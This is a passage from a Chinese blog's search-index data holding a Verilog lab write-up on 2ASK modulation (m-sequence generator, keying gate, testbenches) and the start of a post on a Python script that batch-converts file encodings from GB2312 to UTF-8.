punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eQ_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edefault\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e Q_r\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendcase\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e//~ `New testbench\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens \u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_mxulie\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// M_series Parameters\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e M_len \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Inputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// M_series Outputs\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_sequence \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk\u003cspan class=\"token operator\"\u003e=~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emxulie #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elen \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e M_len \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emxulie_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003em_sequence \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_sequence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/m%E5%BA%8F%E5%88%97.png\" /\u003e\u003ch3 id=\"4-键控开关\"\u003e\u003ca href=\"#4-键控开关\" class=\"headerlink\" title=\"4.键控开关\"\u003e\u003c/a\u003e4.键控开关\u003c/h3\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3.png\" style=\"zoom:50%;\" /\u003e\u003cblockquote\u003e\u003cp\u003e键控开关示意图图上图所示,其中data[7:0]端输入载波信号,gate端输入基带码元,当gate信号为1时,载波信号通过,如果gate信号为0时,载波信号不能通过。模块的输出端q[7:0]输出2ASK已调信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003ccode\u003elpm_gate.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003elpm_gate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e gate\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways@\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egate \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b01111111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// +127将0变换过去\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"整合以及整体仿真\"\u003e\u003ca href=\"#整合以及整体仿真\" class=\"headerlink\" title=\"整合以及整体仿真\"\u003e\u003c/a\u003e整合以及整体仿真\u003c/h2\u003e\u003cp\u003e将以上各个模块添加进实验给定的模板,并生成原理图,然后连线。\u003c/p\u003e\u003cp\u003e要整体仿真,所以要先把原理图转换为 \u003ccode\u003eVerilog\u003c/code\u003e (File -\u0026gt; Create \u0026#x2F; Update -\u0026gt; Create HDL Design File from Current File…),之后从工程文件移除原理图,设置生成的 \u003ccode\u003everilog\u003c/code\u003e 文件为顶层文件进行编译,然后仿真。\u003c/p\u003e\u003cp\u003e通过对比编译出来的 RTL 视图,符合给定框图。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/twoask.png\" /\u003e\u003cp\u003e整体仿真,只要注意 \u003ccode\u003eclk\u003c/code\u003e , \u003ccode\u003em_squence\u003c/code\u003e , \u003ccode\u003etwo_ask[7...0]\u003c/code\u003e 这几个信号就行。 \u003ccode\u003etestbench\u003c/code\u003e 如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_sim\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_squence\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e two_ask\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003etwoask \u003cspan class=\"token function\"\u003etwoask_inst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003em_squence\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_squence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003etwo_ask\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etwo_ask\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F.jpg\" /\u003e\u003ch3 id=\"管脚分配\"\u003e\u003ca href=\"#管脚分配\" class=\"headerlink\" title=\"管脚分配\"\u003e\u003c/a\u003e管脚分配\u003c/h3\u003e\u003cp\u003e管脚分配啥的给的模板文件里已经分配好了,直接用就行。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e毕竟是主要是记录 \u003ccode\u003everilog\u003c/code\u003e 的一个学习过程,剩下的就不分析了,属于是实验报告里的活。这算是第一次用 \u003ccode\u003everilog\u003c/code\u003e 干这种比较综合的活?接触到了一些新玩意,IP核,mif文件之类的。也锻炼了从s一样实验指导手册里提炼信息的能力?\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(然后细节和要补充的等后面想起来再说\u003c/del\u003e \u003c/p\u003e\u003cp\u003e \u003cdel\u003e(我超突然想起来线下验收完忘了拍时域波形\u003c/del\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/5f6b/"},{"title":"批量转换文件编码gb2312转utf-8","time":"2022-08-10T09:32:11Z","content":"\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"#批量转换文件编码gb2312转utf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003c\u003chr /\u003e\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"#批量转换文件编码gb2312转utf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e锟斤拷烫烫烫\u003c/del\u003e\u003c/p\u003e\u003cp\u003e这几天网上找代码学习用vscode打开之后中文全是乱码,转换编码为 \u003ccode\u003egb2312\u003c/code\u003e 后才正常显示,之前也因为这玩意狠狠的踩坑( \u003ccode\u003eKeil\u003c/code\u003e 默认的编码对中文来说太坑了。但是一个工程里文件很多,所以就需要一个批量把这些文件转换为 \u003ccode\u003eutf-8\u003c/code\u003e 的脚本。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/1.webp\" style=\"zoom: 67%;\" /\u003e\u003ch2 id=\"参考博客\"\u003e\u003ca href=\"#参考博客\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/a417655340/article/details/124460824\"\u003e批量转换文件编码gb2312转utf-8_每天一罐可乐的博客-CSDN博客_批量转换编码格式\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42336581/article/details/125776879\"\u003epython 递归遍历目录下的所有文件_Joy-\u0026gt;Boy的博客-CSDN博客_python递归获取文件夹下所有文件\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"关于文件编码\"\u003e\u003ca href=\"#关于文件编码\" class=\"headerlink\" title=\"关于文件编码\"\u003e\u003c/a\u003e关于文件编码\u003c/h2\u003e\u003cp\u003eb站上找到的这个视频挺好。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1U5411d7FB\"\u003e「烫烫屯屯锟斤拷」揭秘ASCII、GBK、UTF-8,B站独家,一听就懂\u003c/a\u003e\u003c/p\u003e\u003ciframe src=\"//player.bilibili.com/player.html?aid=468972234\u0026bvid=BV1U5411d7FB\u0026cid=715388833\u0026page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\u003ch2 id=\"脚本\"\u003e\u003ca href=\"#脚本\" class=\"headerlink\" title=\"脚本\"\u003e\u003c/a\u003e脚本\u003c/h2\u003e\u003cp\u003e其实网上随便一搜就有好多,试了一个效果不错,但是只能转换根目录下的文件。于是我稍微做了点修改。\u003c/p\u003e\u003cp\u003e效果还是不错的\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003e运行结果\u003c/summary\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\" language-bash\" data-language=\"bash\"\u003e\u003ccode class=\" language-bash\"\u003e请输入要转换编码的文件夹路径:C:\\Demo_OLED_STM32F103RCT6_Software_IIC===============================================================fileName fileEncoding===============================================================core_cm3.c GB18030core_cm3.h GB18030iic.c GB18030iic.h GB18030bmp.h GB18030oled.c GB18030oled.h GB18030oledfont.h GB18030RTE_Components.h GB18030misc.h GB18030stm32f10x_adc.h GB18030stm32f10x_bkp.h GB18030stm32f10x_can.h GB18030stm32f10x_cec.h GB18030stm32f10x_crc.h GB18030stm32f10x_dac.h GB18030stm32f10x_dbgmcu.h GB18030stm32f10x_dma.h GB18030stm32f10x_exti.h GB18030stm32f10x_flash.h GB18030stm32f10x_fsmc.h GB18030stm32f10x_gpio.h GB18030stm32f10x_i2c.h GB18030stm32f10x_iwdg.h GB18030stm32f10x_pwr.h GB18030stm32f10x_rcc.h GB18030stm32f10x_rtc.h GB18030stm32f10x_sdio.h GB18030stm32f10x_spi.h GB18030stm32f10x_tim.h GB18030stm32f10x_usart.h GB18030stm32f10x_wwdg.h GB18030misc.c GB18030stm32f10x_adc.c GB18030stm32f10x_bkp.c GB18030stm32f10x_can.c GB18030stm32f10x_cec.c GB18030stm32f10x_crc.c GB18030stm32f10x_dac.c GB18030stm32f10x_dbgmcu.c GB18030stm32f10x_dma.c GB18030stm32f10x_exti.c GB18030stm32f10x_flash.c GB18030stm32f10x_fsmc.c GB18030stm32f10x_gpio.c GB18030stm32f10x_i2c.c GB18030stm32f10x_iwdg.c GB18030stm32f10x_pwr.c GB18030stm32f10x_rcc.c GB18030stm32f10x_rtc.c GB18030stm32f10x_sdio.c GB18030stm32f10x_spi.c GB18030stm32f10x_tim.c GB18030stm32f10x_usart.c GB18030stm32f10x_wwdg.c GB18030delay.c GB18030delay.h GB18030sys.c GB18030sys.h GB18030gui.c GB18030gui.h GB18030main.c GB18030stm32f10x.h GB18030stm32f10x_conf.h GB18030stm32f10x_it.c GB18030stm32f10x_it.h GB18030system_stm32f10x.c GB18030system_stm32f10x.h GB18030test.c GB18030test.h GB18030---------错误统计------------共0个错误!-----------------------------\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/details\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/2.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003e直接打开,舒服了\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"#代码\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e codecsgErrArray \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003econvert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e out_enc\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"utf-8\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003etry\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token 